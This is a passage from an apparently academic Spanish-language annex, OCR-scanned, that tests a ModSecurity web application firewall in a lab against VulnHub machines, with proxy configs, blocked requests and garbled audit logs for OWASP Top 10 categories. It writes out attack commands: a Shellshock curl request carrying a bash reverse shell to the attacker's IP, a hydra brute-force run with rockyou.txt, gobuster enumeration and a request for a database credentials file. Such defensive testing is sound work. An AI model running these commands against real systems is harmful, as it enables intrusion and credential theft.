Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la IP 192.168.10.8 y el alias del servidor vulnerable
“VENOM:1” (ver Figura E.9).
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Figura E.9
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP del servidor vulnerable “VENOM:1"

GHU nano 7.2 setcs/modsecurity.d-setup proxy.conf
<VirtualHost =:88>

ServerName venom.box
ProxyPreserveHost On
ProxyFPass ~
ProxyPazszReverse ~
</UirtualHost>

2. En la méquina cliente (S.0. Kali Linux) editar el archivo /etc/hosts para quitar la
resolucion del alias del servidor “venom.box” ya que el mismo va a ser resuelto por

el proxy inverso implementado en el contenedor (ver Figura E.10).

Figura E.10

Edicion del archivo /etc/hosts para quitar la resolucion del alias del servidor

File Actions Edit View Help

(EfAak localhost
kali
localhost ip6-localhost ip&-loopback
ip6-allnodes

ipf-allrouters

3. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.11).

Figura E.11
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

O Manual proxy configuration

HTTP Proxy| 192

4. Replicar los pasos del 1 al 11 detallados en el Anexo A, subseccion A03:2021 —

Inyeccion, desde el reconocimiento hasta la carga del archivo inclusion.phar.
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5. Una vez cargado el archivo inclusion.phar con cddigo php, en el navegador del
cliente se trata de ejecutar http://venom.box/uploads/inclusion.phar activando el
bloqueo del WAF (ver Figura E.12).

6. En la Figura E.13 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo a la peticion hecha en el paso 5. Del log de auditoria
se puede extraer metadatos importantes como:

e Fechay hora del ataque: 17/0ct/2023:00:29:34

e Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-920-PROTOCOL-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=1058 ps, p2=341 ps, p3=0 ps,
p4=0 ps, p5=197 ps, sr=242 pus, sw=0 us, gc=0 us

Figura E.12

Bloqueo del WAF a la ejecucion de http://venom.box/uploads/inclusion.phar

& (S O & venom.box/ 1clusion.phar g ® & =

KaliLinux #& Kali Tools « Kali Docs ali Fo s e Kalil ] Exploit-DB Google Hacking DB 2>

Forbidden
You don't have permission to access this resource.
A04:2021 — Disefio inseguro

Para este apartado se replica la explotacion del servidor vulnerable “ICA:1” de la

plataforma VulnHub.
Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la IP 192.168.10.4 del servidor vulnerable “ICA:1” (ver
Figura E.14).
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Figura E.13

Log de auditoria registrado por ModSecurity

{"transaction”:{"time" :"17/0ct-2023:88:29:34 .888966 +BBBA", "transaction_id":"ZS3UbhUiDhML j_kK15YFkwh
Hﬂrh","remnte address":"192.168.18.158", "remote_port":37232,"local_address":"172.17.8.2","local_port|
1863, "request™: {"request_line":"GET http:-svenom.box-uploads,inclusion.phar HTTP-1.1","headers":{"H
ost" :"wenom.box", "User-Agent”:"Mozillar5.8 (X11: Linux xB6_64: rv:189.8) Gecko-28188181 Firefoxs115.
B","ﬂccept" "text/html application/xhtml+xml,applicationml.q=0.9, image-avif, 1mage/uebp,*/* q—B g",
"Accept -Language " : "en-US,en:q=A.5", "Accept-Encoding™ : "gzip, deflate",”DNT":"1","Conmection”
ive”,™ Dukle" "INTELLI BBCBB42C3d—kk2uf1f?13k63gcpbcbsuuukue" "Upgrade-Insecure-Regquests"
"protocol” :"HTTP-1.1", "status":483, "headers”: {"Content-Length" : 193", "Keep-Alive”
f max-lBB","Cunnectlnn"'"Heep -Alive", "Content-Type" : "text- html; charset=iso-8859-1"3},"body' :"<?
PE HTML PUBLIC “\"--/IETF//DTD HTML 2.8//ENN\">\n<html><head>wn<title>483 Forbidden<-title>\n< head><b|
body>sn<h1>Forbidden< h1>\n<p>You don’t have permission to access this resource. /pr>sn< body>< html >y
m"},"audit_data":{"messages":["Access denied with code 483 (phase 2). String match within \".yml/ .y
.asas .asaxs .ascxs .axd/ .backuprs .baks .bat/ .cdxs .cers .cfgs .cmds .com’ .configs .confrs .c
.csprojs .csrrs .datrs .dbs .dbf, .d1lr .doss .htrrs .htws .idas .idcrs .idgrs .incs .inir .keyrs .
dnks . logs .mdbs .olds .passs .pdbs .pols .printers .pwd/ .rdbs .resourcess .resx/ .sql/ .swps .S
s/ .vb/ .vbs/ .wbprojs .vsdiscos .webinfor .xsds .xsx\" at TX:extension. [file \"setcomodsecurity.
d-owasp-crs.rules-REQUEST-928-PROTOCOL-ENFORCEMENT .conf~"1 [line N\"1856%"1 [id \"926448\"] [msg “\"UR
file extension is restricted by policy\"1 [data ~\"_phars"1 [severity “"CRITICALN"]1 [ver \"OWASP_CH)
»#3.3.5\"1 [tag \"application-multin"] [tag \“language-multin"1 [tag \“"platform-multis"1 [tag \“attal
ck-protocols"] [tag N'paranoia-level-s1N"1 [tag N"OWASP_CRSN"1 [tag N'capecs1888-218.272N"1 [tag N"PC
1-6.5.188\"1"1, "error_messages":["[file \"apacheZ_util.c\"]1 [line 2751 [level 31 [client 192.168.168.1
581 ModSecurity: Access denied with code 483 (phase 2). String match within ~".ymls .phar/ .asa~/ .as|
ax/ .ascx/ .axds .backups .baks .bat/ .cdxs .cerrs .cfgs .cmds .com’ .configs .conf/ .cs/ .csprojs .c
rrs .dats .dbr .dbfr .dll/ .doss .htrr .htw .idar .idcr .idgr .incs .inis .key, .licxrs .Ilnkrs .logr
.mdb~s .o0ld, .passs .pdbr .pols .printer, .pwds .rdbs .resources/ .resx’ .sql/ .swp/ .sys/ .vb/ .vbs/|
wbprojs .vsdiscos .webinfos .xsds .xsx/\" at TX:extension. [file \"retcs/modsecurity.d/owasp-crs/ru
i1es/REQUEST-928-PROTOCOL-ENFORCEMENT . confs"1 [line S\"18565"1 [id S\"928440%\"]1 I[msg \"URL file extensi
on is restricted by policys"1 [data \".phar\"1 [severity \"CRITICALN"1 [ver \"OWASP_CRS-3.3.5\"1 [ta
g \"application-multin"]l [tag \"language-multis"1 [tag ““platform-multisn"1l [tag N“attack-protocols"l
[tag \"paranuia—leuel/l\"] [tag \"0WASP_CRSN"1 [tag “"capecs1888.218-272\"1 [tag \"PCI-6.5.185"1 [h
ostname \'venom.boxA"1 [uri %' /upluads/lnclu31nn phars"1 [unique_id \"Z33UbhUiDhML j_kK1SYFkuwaaAHAN"1
"1,"action":{"intercepted" :true,"phase":2, "message”:"String match within ~".ymls .phar~ .asa’ .asax/
.ascx/ .axds .backups .baks .bats .cdxs .cerrs .cfgs .cmds .com’ .configs .confs .cs/ .csprojs .csr/
.datrs .db, .dbfr .dllr .dosr .htrr .htw .idars .idcrs .idgs .incs .inir .keys .licxr .Ilnkrs .logs .md
b .0ld/ .pass/ .pdbs .pols .printer/ .pwds .rdb-s .resources/ .resx’ .sgls .swps .sys/ .vbs .vbss .Y
bprojs .wsdiscos .webinfor .xsds .xsx\" at TX:extension."}, handler"'"prnxy—seruer","stnpuatch":{"p
1':1858,"p2" 341, "p3":8, "p4":8, "p5" 1197, "sr"": 242, "sw'" 10,7178, "gc " 18}, "response_body_dechunked” 1 true
producer”: ["ModSecurity for ApachesZ.9.7 (http: swas.modsecurity.orgs)”, "0WASE_CRS-3.3.5"1, "server
":"Apache", "eng ine_mode" : "ENABLED"}}

Figura E.14
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP del servidor vulnerable “ICA:1"

Archive Maquina Ver Entrada Dispositivos Ayuda

GHU nano 7.2 ~setc/modsecurity.d-setup_proxy.conf

<UirtualHost =:88>
ServerName waf-utn.com.ec

ProxyPreserveHost On

ProxyPass ~

ProxyPassReverse ~
<{sUirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.15).
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Figura E.15

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 19:

Also use this proxy for HTTPS

3. Replicar los pasos del 1 al 6 detallados en el Anexo A, subseccion A04:2021 —
Disefio inseguro, desde el reconocimiento hasta la revision del exploit
php/webapps/50176.txt.

4. Dirigirse a la url de descarga del archivo .yml con las credenciales de conexion a la
base de datos mysgl en la ruta http://waf-utn.com.ec/core/config/databases.yml

activando el bloqueo del WAF (ver Figura E.16).

Figura E.16
Blogueo del WAF a la ejecucién de http://waf-utn.com.ec/core/config/databases.yml

&« C @ O & waf-utn.edu.ec/core/config/databases.ym g - —

KaliLinux #& KaliTools = KaliDocs & KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB >

Forbidden

You don't have permission to access this resource.

5. En la Figura E.17 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo a la peticion hecha en el paso 4. Del log de auditoria
se puede extraer metadatos importantes como:

e Fechay hora del ataque: 17/0Oct/2023:00:02:00

o Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

¢ Regla aplicada: REQUEST-920-PROTOCOL-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=1205 ps, p2=370 ps, p3=0 ps,
p4=0 ps, p5=220 ps, sr=367 us, sw=0 us, gc=0 us
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Figura E.17

Log de auditoria registrado por ModSecurity

{"transaction": {"time":"17/0ct 2023:00:02:00 .309497 +8088", "transaction_id": "Z330-FFf hyUUnf BUNtCxDAA
AATY","remote_address':"192.168.18.158", "remote_port':39938,"local_address":"172.17.8.2"," local_port|
": {"request_line":"GET http://waf-utn.edu.ec coresconf igsdatabases.yml HTTP/1.1","head
ers” 1 {"Host":"waf -utn.edu.ec"”, "User—Agent' :"Mozillars5.8 (X11: Linux xB6_64: rv:189.8) Gecko-/20188181
Firefox/115.8", "Accept" :"text /html, application/xhtml +>ml,application/>ml :q=8.9, image/avif , image /web)
p.#s=;q=8.8", "Accept-Language" : "en-US,en;q=8.5", "Accept-Encoding™ : "gzip, deflate”,"DNT":"1","Connect|
ion" :"keep-al ive”, "Upgrade- Insecure-Requests '}},"response" : {"protocol " : "HTTP-1.1", "status" :483, "
{"Content-Length":"199", "Keep-Alive meout=5, max=188","Connection':"Keep-Alive", "Conten
pe" :"text/html: charset=iso-8859-1"}, "body” :"<!DOCTYPE HTML PUBLIC \"-//1ETF/-DTD HTML Z.8//EN\"
>sn<html><head>\n<title>483 Forbidden{stitle>\n<{/head><body>n<h1>Forbidden{ hL>n{p>You don’t have
permission to access this resource. {/p>\n</bodyd> < html>wn"}, audit_data": {"messages”:["Access denied
with code 483 (phase 2). String match within \".yml, .phar/ .asas .asax/ .ascx’ .axd/ .backup’s .bak
. .bats .cdx .cers .cfgs .cmd/ .coms .configs .conf, .cs/ .csprojs .csrs .dat- .dbs .dbf,s .d11/ .do
s/ .htrs .htw .idas .idcs .idgs .incs .inis .keys .licxs .Inks .logs .mdbs .olds .pass/ .pdb, .pol/
.printers .pwds .rdbs .resources/ .resx/ .sql/ .swps .sys/ .wbs .ubss .ubprojs .usdiscos .webinfor
xsds .xsxA\" at TX:extension. [file \'setc/modsecurity.d/owasp-crs-rules/REQUEST-928-FROTOCOL-ENFOR
CEMENT .conf:\"1 [line %\"1856N"1 [id \"928448\"]1 [msg “\"URL file extension is restricted by policy\"1
[data \".ymI\"] [severity \"CRITICAL\"]1 [ver \"OWASP_CRS.3.3.5\"1 [tag \"application-multi\"] [tag N
"language-multin"l [tag \“platform-multin'"] [tag \"attack-protocol\"] [tag \“parancia-levelsi\"1 [tal
g \"DWASP_CRS\"1 [tag \'capec-1888,218-272\"1 [tag \"PCI/6.5.185"1"1,"error_messages":["[f ile \"apac
heZ_util.c\"1 [line 2751 [level 31 [client 192.168.18.158]1 ModSecurity: Access denied with code 483
(phase 2). String match within \".ymls .phar/ .asas .asax’/ .ascx” .axds .backups .baks .bats .cdxs .
cers .cfgs .cmds .coms .configs .conf,/ .ce/ .csprojs .csrs .dats .dbs .dbf- .dll/ .doss .htrs .htw
.ida~r .idcs .idqs .incs .inirs .keys .licxs .Inks .log/ .mdbs .old-s .passs .pdbs .pols .printers/ .pud
. .rdbs .resourcesr .resx/ .sqls .swps .syss .vbs .wbss .ubprojs .uvsdiscos .webinfor .xsds .xsx/\" @
t TX:extension. [file \'setc/modsecurity.d/owasp-crs/rules/REQUEST-928-PROTOCOL-ENFORCEMENT.conf\"1
[1ine \"1856M\"1 [id \"928446\"1 [msg \"URL file extension is restricted by policyn"1 [data \".ymI\"]
[sever ity N"CRITICALN"]1 [ver \"OWASP_CRS-3.3.5\"1 [tag “\"application-multin"]l [tag \"language-multi
N1 [tag S“platform-multin"] [tag Nattack-protocoIN"] [tag N'paranoia-level- 1n"1 [tag SN"OWASP_CRSNY
1 [tag \"capec-1888,218-272%"1 [tag \"PCI~6.5.18N\"1 [hostname “\"waf-utn.edu.ec\"] [uri \",/coresconf i
g-databases.ymlv’] [unigue_id \"ZS30-FFfhyUUnf BUNtCDARARIYN "1V, "action” : {"intercepted " true, "phaze
":2,"message” :"String match within %".ymlr .phars .asars .asax~” .ascxs .axds .backuprs .baks .bats .cd
<~ .cerrs .cfgs .cmdrs .coms .configs .conf~r .cs/ .csprojs .csr~r .datrs .dbrs .dbfr .dllr .dosrs .htrs .h
tws .idas .idcr .idgrs .incs .inir .keys .licxs .Inks .logs .mdbs .old~s .passs .pdbs .pols .printers
.puwd~s .rdbs .resourcess .resxs .sqls .suwprs .syss .vbs .ubsr .ubprojs .vsdiscos .webinfor .xsds . xsx/
A at TX!extemsion."},"handler": " proxy-server", "stopuatch™:{"p1" 11285, "p2"":378, "p3":08, "p4" :8, "p5" 122
B, "sr":367,"sw":0, :8,"'gc "' :8%, "response_body_dechunked” :true, "producer” : ["ModSecurity for Apacher2
.9.7 (http:/7wa.modsecurity.orgs)", "OWASP_CRS-3.3.5"1, "server" : "Apache”, "engine_mode": "ENABLED"}3

A05:2021 — Configuracion de seguridad incorrecta

Para este apartado se replica la explotacion del servidor vulnerable “INSANITY:1” de

la plataforma VulnHub.
Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la [P 192.168.10.10 del servidor vulnerable
“INSANITY:1” (ver Figura E.18).

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.19).
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3. Replicar los pasos del 1 al 6 detallados en el Anexo A, subseccion A05:2021 —
Configuracion de seguridad incorrecta, desde el reconocimiento hasta la clonacién
de “SecLists” del repositorio GitHub.

4. Como en este escenario las peticiones HTTP salen de un terminal de la maquina
cliente y no desde el navegador, es necesario instalar y configurar la herramienta

proxychains con el comando sudo apt-get install proxychains.

Figura E.18
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP del servidor vulnerable “INSANITY:1"”

Archivo Maquina WVer Entrada Dispositivos Ayuda

GNU nano 7.2 rsetcsmodsecurity.d-ssetup_proxy.conf

<UirtualHost =:88>

ServerName waf-utn.com.ec

ProxyPreserveHost On

ProxyPass ~

ProxyPassReverse /
</UirtualHost>

Figura E.19

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 192.168.10.6

Also use this proxy for HTTPS

5. Utilizando gobuster, y pasando el trafico por proxychains, se vuelve a ejecutar el
ataque para el listado de directorios del servidor web “INSANITY:1” apuntando a
la url del proxy inverso http://waf-utn.com.ec. En la Figura E.20 se puede observar
que las peticiones al servidor fueron blogueadas con un cédigo 403.

6. En la Figura E.21 se presenta el log de auditoria registrado por ModSecurity
después de activado el blogueo al listado de directorios ejecutado en el paso 5. Del
log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 17/0Oct/2023:00:15:33

e Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)
e Regla aplicada: REQUEST-913-SCANNER-DETECTION.conf
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e Tiempo de procesamiento en cada fase: p1=3037 ps, p2=157 ps, p3=0 ps,
p4=0 ps, p5=375 us, sr=2198 ps, sw=182 us, gc=0 pus

Figura E.20
Bloqueo del WAF al listado de directorios del servidor web “INSANITY:1”

/home/kali/Desktop/A@5_2021_Maquina_Insanity_VulnHub
; a gobuster dir -u http://waf-utn.com.ec -w /usr/share/SecLists/Discovery/Web-Conten
t/dlrectory-llst -2.3-medium. txt
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-1linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

Gobuster v3.6
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

Url: http://waf-utn.com.ec

Method: GET

Threads: 10

Wordlist: /usr/share/SeclLists/Discovery/Web-Content/directory-list-2.3-medium.

+
+
+
+

[+]
[+]
[+]
[+]
txt
[+]
[+]
[+]

Negative Status codes: 404
User Agent: gobuster/3.6
Timeout: 10s

+ o+ *

Starting gobuster in directory enumeration mode

Error: the server returns a status code that matches the provided options for non existing urls.
http://waf-utn.com.ec/6981af11-1c18-4de3-be6c-0c5e91e54733 = 403 (Length: 199). To continue plea
se exclude the status code or the length

Figura E.21
Log de auditoria registrado por ModSecurity

{"transaction”:{"time" :"17-0ct-2023:88:15:33.794736 +HEHA", "transaction_i Z5335J%mle 15T1r-cBRgDMuA
ﬁﬂﬁg","remnte_address 192.168.10.158", "remote_port" : 35884 _ '172.17.8.2","1local pnrt
":8081, "request” : {"request_line":"GET ~ HTTP~1.1","headers":{"Host":"waf-utn.com. ec',"User—ﬁgent
buster~3.6", "Accept-Encoding" : "gzip"}}, "response”: {"protocol™: "HTTP-1.1", "status" : 483, "headers" : {"Co|
ntent-Length":"199","Content-Type" : "texthtml: charset=iso-8859-1"%}, "body"”:"<tDOCTYPE HTHML PUBLIC "
-+/1ETF//DTD HTML 2.8./ENN">\n<html><head>sn<title>483 Forbidden< title>n< head><body>\n<hi>Forbidd
en</h1>wn<p>¥ou don’t have permission to access this resource.<{/p>\n</body><shtml>n"},"audit_data":
{"messages" : ["Access denied with code 483 (phase 2). Matched phrase \"gobuster\” at REQUEST HEADERS:
User-Agent. [file \"~/etc/modsecurity.d owasp-crs-rules/REQUEST-913-SCANNER-DETECTION.confs"1 [line
"G5N1 [id N'91318685"1 [meg N\“Found User-Agent associated with security scanners”1 [data \"Matched D)
ata: gobuster found within REQUEST_HEADERS:User-figent: gobuster-3.6M\"1 [severity \"CRITICALN"1 [ver
N'OWASP_CRS-3.3.5\"]1 [tag \"application-multin"] [tag “"language-multin"]l [tag N"platform-multisn"] [
tag “"attack-reputation-scammern”] [tag \"paranoia-level-s1N"1 [tag N"OWASP_CRSN\"1 [tag \'"capec-108808./
118-224-541,-3185"1 [tag “"PCL-6.5.185"1"]1,"error_messages”:["[file “\"apacheZ_util.c\"1 [line 2751 [1
evel 31 [client 192.168.18.1581 ModSecurity: Access denied with code 483 (phase Z2). Matched phrase ¥
"gobuster\" at REQUEST HEADERS:User-Agent. [file % /etc/mudsecuritg.d/nwasp—crs/ruIES/REQUEST—913—SC
ANNER-DETECTION .confs"1 [line 5'"55%"1 [id \"9131885"1 [msg “"Found User-Agent associated with securi
ty scammer\"] [data “"Matched Data: gobuster found within REQUEST_HEADERS:User-Agent: gobusters3.6MN"
1 [sewverity N"CRITICALN"] [wer N"OWASP_CRS-3.3.5N"1 [tag “application-multisn"l [tag N"language-mult]
iz"1 [tag \"platform-multin"] [tag \"attack-reputation-scammern"1 [tag \"paranuia—leuel/l\"] [tag "
0WASP_CRS%"1 [tag “'"capec-1888-118,224.541-3187\"1 [tag \"FCI/6.5.18\"]1 [hostname “\"waf -utn.com.ec\"]
[uri S"A"] [unigue_id N"Z335JXmle 15T1r -cBKgDMwAAAAgN"1"]1, "action™: {"1ntercepted" true, "phase™:2,"

essage'' :"Matched phrase \"gobusters" at REQUEST HEADERS:User-Agent."}, "handler : prnxg—seruer" "stop

:{"p1":3837,"p2":157,"p3":@, "p4":8,"p5" :375, "sr":2198, "sw":1682,"1":8, "gc" : 81, "response_body_de|
chunked" : true, "producer™: ["ModSecurity for Apaches2.9.7 (http://was.modsecurity.org/)”, "0WASP_CRS/3.
3.5"1,"server" : "Apache", "engine_mode" : "ENABLED"}}

A06:2021 — Componentes vulnerables y desactualizados

Para este apartado se replica la explotacion del servidor vulnerable “SYMFONOS:3.1”

de la plataforma VulnHub.

144



Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la [P 192.168.10.11 del servidor vulnerable
“SYMFONOS:3.1” (ver Figura E.22).

Figura E.22
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf

con la IP del servidor vulnerable “SYMFONOS:3.1”

Archivo Maquina Ver Entrada Dispositivos Ayuda

GNU nano 7.2 setcsmodsecurity.d-ssetup proxy.conf

<UirtualHost =:88>

ServerName waf -utn.com.ec

ProxyPreserveHost On

ProxyPass ~

ProxyPassReverse ~
</VirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.23).

Figura E.23

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 192.168.10.6

3. Replicar los pasos del 1 al 5 detallados en el Anexo A, subseccion A06:2021 —
Componentes vulnerables y desactualizados, desde el reconocimiento hasta la
verificacion de la ruta http://192.168.10.11/cgi-bin/underworld.

4. Pasando el trafico por proxychain, se vuelve a ejecutar el ataque Shellshock
apuntando a la url del proxy inverso http://waf-utn.com.ec mediante el comando
proxychains curl -s -X GET "http://waf-utn.com.ec/cgi-bin/underworld" -H "User-
Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/192.168.10.150/1234 0>&1" para
establecer una shell reversa a la maquina del atacante. En la Figura E.24 se puede

observar que la peticion al servidor fue bloqueada por el proxy.
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Figura E.24
Bloqueo del WAF a una shell reversa desde el servidor “SYMFONOS:3.1”

Ihumelkallfﬂesktnplﬁaﬁ 2021 Maqu1na SymfnnuSB VUlnHubInmap
url ]

config file found: /etc/proxychains.conf

preloading fusr/lib/x86_64-linux-gnu/libproxy

DLL init: proxychains-ng 4.16

Strict chain ... 192.168.1@.6:80 ... 192.168.10.6:80 ¢<—denied

5. En la Figura E.25 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo al establecimiento de una shell reversa ejecutado en
el paso 4. Del log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 17/0ct/2023:21:17:05

e Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-911-METHOD-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=2541 ps, p2=152 ps, p3=0 ps,
p4=0 us, p5=160 ps, sr=2047 ps, sw=0 ps, gc=0 ps

Figura E.25
Log de auditoria registrado por ModSecurity

{"transaction":{"time":"17,0ct 2823:21:17:85.848489 +@88A", "transaction_id" 237585k 3 [RyeBYZx35X0ugn
AALK", "remote_address™:"192.168.108.158", "remote_port":59418,"local_address™:"172.17.8.2","local_port]
":88%, "request”: {"request_line" :"CONNECT 192.168.10.6:88 HTTP-1.8", "headers":{"Host
83}, "response”: {"protocol” :"HTTP-1.1", "status" :483, "headers" : {"Content-Length": "199","C
close”, "Content-Type" : "text html: charset=iso-8859-1"}, "body" :"<tDOCTYPE HTML PUBLIC ~\“-./IETF/~DTD
HTML 2.8-/EN\">n<html><head>n<title>4B3 Forbidden<-title>wn< head><body>n<hi>Forbidden< hl>\n<{p>
ou don’t have permission to access this resource.</p>n< body>< html>»n"¥,"audit_data":{"messages":
"fAccess denied with code 483 (phase 2). Match of N"within #{tx.allowed_methods¥\" against \"REQUEST
METHODN" required. [file \"retcr modsecurity.d-owasp-crssrules/REQUEST-911-METHOD-ENFORCEMENT .confs"1
[line \"445"1 [id \"911188%"] [msg ~"Method is not allowed by policys"1 [data \N"CONNECTN"]1 [severit|
y N'CRITICALN"] [wer N"OWASP_CRS-/3.3.5\"1 [tag \"application-multiN"l [tag N\"language-multiN'l [tag
N'platform-multin"] [tag S"attack-generich"] [tag S"paranoia-level-1N"1 [tag N\"OWASP_CRS\"1 [tag N\'cf
apec/18088-218-272,228,274\"1 [tag “\"PCI-12.15"1"1,"error_messages™:["[file “\"apacheZ_util.c\"1 [lineg
2751 [level 31 [client 192.168.18.1581 ModSecurity: ficcess denied with code 483 (phase 2). Match of
N"within #{tx.allowed_methods\" against S\"REQUEST METHODM" required. [file \'"setcsmodsecurity.d-o
asp-crs/rules/REQUEST-911-METHOD-ENFORCEMENT .conf»"1 [line \"445\"1 [id \"911188N"1 [msg “\"Method is
mot allowed by policys"1 [data N"CONNECTN"]1 [severity N"CRITICALN"] [wer N"OWASP_CRS-3.3.58"1 [tag N
"application-multin"]1 [tag “\"language-multis"]l [tag S"platform-multisn"] [tag \"attack-gemerich\"] [ta
g “'paranocia-levels1N"1 [tag \"OWASE_CRS\"1 [tag \''capec~1888-218.272/228-274\"1 [tag NPCIAL1Z . 1N"]
[hostname %'"192.168.18.65"1 [uri N"/A"] [unigue_id N"Z37585k3 IRgeBY2x3SXBugfAnlkn"1"1, "act ion" : {"int
ercepted true, phase" 2. message" "Match of \"within »{tx.allowed_methods¥\" against “\"REQUEST METH
oD\ requlred '}, "handler" pruxy -server”,’ Stupuatch" {"p1":2541,"p2":152,"p3":8, "p4":8,"p5" : 168, "sr
":20847,"sw':8,"1":8, "gc" 18}, "response_body_dechunked" :true, "producer”: ["ModSecurity for fipachers2.9.7
thttp: -/ wms.modsecurity.orgs)", "OMASP_CRS-3.3.5"1, "server" : "Aipache"”, "engine_mode" : "ENABLED"}

A07:2021 — Fallas de identificacion y autenticacion

Para este apartado se replica la explotacion del servidor vulnerable “INFERNO:1.1”

de la plataforma VulnHub.

146



Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la [P 192.168.10.12 del servidor vulnerable
“INFERNO:1.1” (ver Figura E.26).

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.27).

3. Replicar los pasos del 1 al 5 detallados en el Anexo A, subseccion A07:2021 —
Fallas de identificacion y autenticacion, desde el reconocimiento hasta la
verificacion de la ruta http://192.168.10.12/inferno.

Figura E.26
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP del servidor vulnerable “INFERNO:1.1"”

Archivo Maquina WVer Entrada Dispositivos Ayuda

GNU nano 7.2 rsetcsmodsecurity.d-ssetup_proxy.conf

<UirtualHost =:88>

ServerName waf -utn.com.ec

ProxyPreserveHost On

ProxyPass ~

ProxyPassReverse
</UirtualHost>

Figura E.27

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 192.168.10.6

4. Pasando el trafico por proxychain, se vuelve a ejecutar el ataque de fuerza bruta
para el usuario admin apuntando a la url del proxy inverso http://waf-utn.com.ec
mediante el comando proxychains hydra -l admin -P /usr/share/wordlists/
rockyou.txt waf-utn.com.ec http-get /inferno -t 60 para descubrir si la contrasefia

estd publicada en el diccionario rockyou.txt de Kali Linux. En la Figura E.28 se
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puede observar la salida del comando ingresado, y como el WAF bloquea el
funcionamiento de Hydra.

5. En la Figura E.29 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo al ataque de fuerza bruta ejecutado en el paso 4. Del
log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 18/0ct/2023:19:10:37

e Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-911-METHOD-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=10501 ps, p2=1947 ps, p3=0 ps,
p4=0 ps, p5=1584 s, sr=473 ps, sw=0 ps, gc=0 ps

Figura E.28
Bloqueo del WAF al ataque de fuerza bruta al servidor “INFERNO:1.1”

/home/kali/Desktop/A07_2021_Maquina_Inferno_VulnHub/contenido
g hydra -1 admin -P /usr/share/wordlists/rockyou.txt waf-utn.com.ec http-get

/inferno -t 60
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or s
ecret service organizations, or for illegal purposes (this is non-binding, these %**x ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-18 15:10:33

[DATA] max 60 tasks per 1 server, overall 60 tasks, 14344399 login tries (1l:1/p:14344399),
~239074 tries per task

[DATA] attacking http-get://waf-utn.com.ec:80/inferno

[ERROR] Child with pid 50387 terminating, can not connect
¢«—denied

¢«—denied

[ERROR] Child with pid 50410 terminating, can not connect
¢«—denied

[ERROR] Child with pid 50389 terminating, can not connect
¢«—denied

[ERROR] Child with pid 50417 terminating, can not connect

[ERROR] Child with pid 50382 terminating, can not connect

[ERROR] Child with pid 50362 terminating, can not connect

[ERROR] Child with pid 50398 terminating, can not connect

[ERROR] all children were disabled due too many connection errors
@ of 1 target completed, @ valid password found

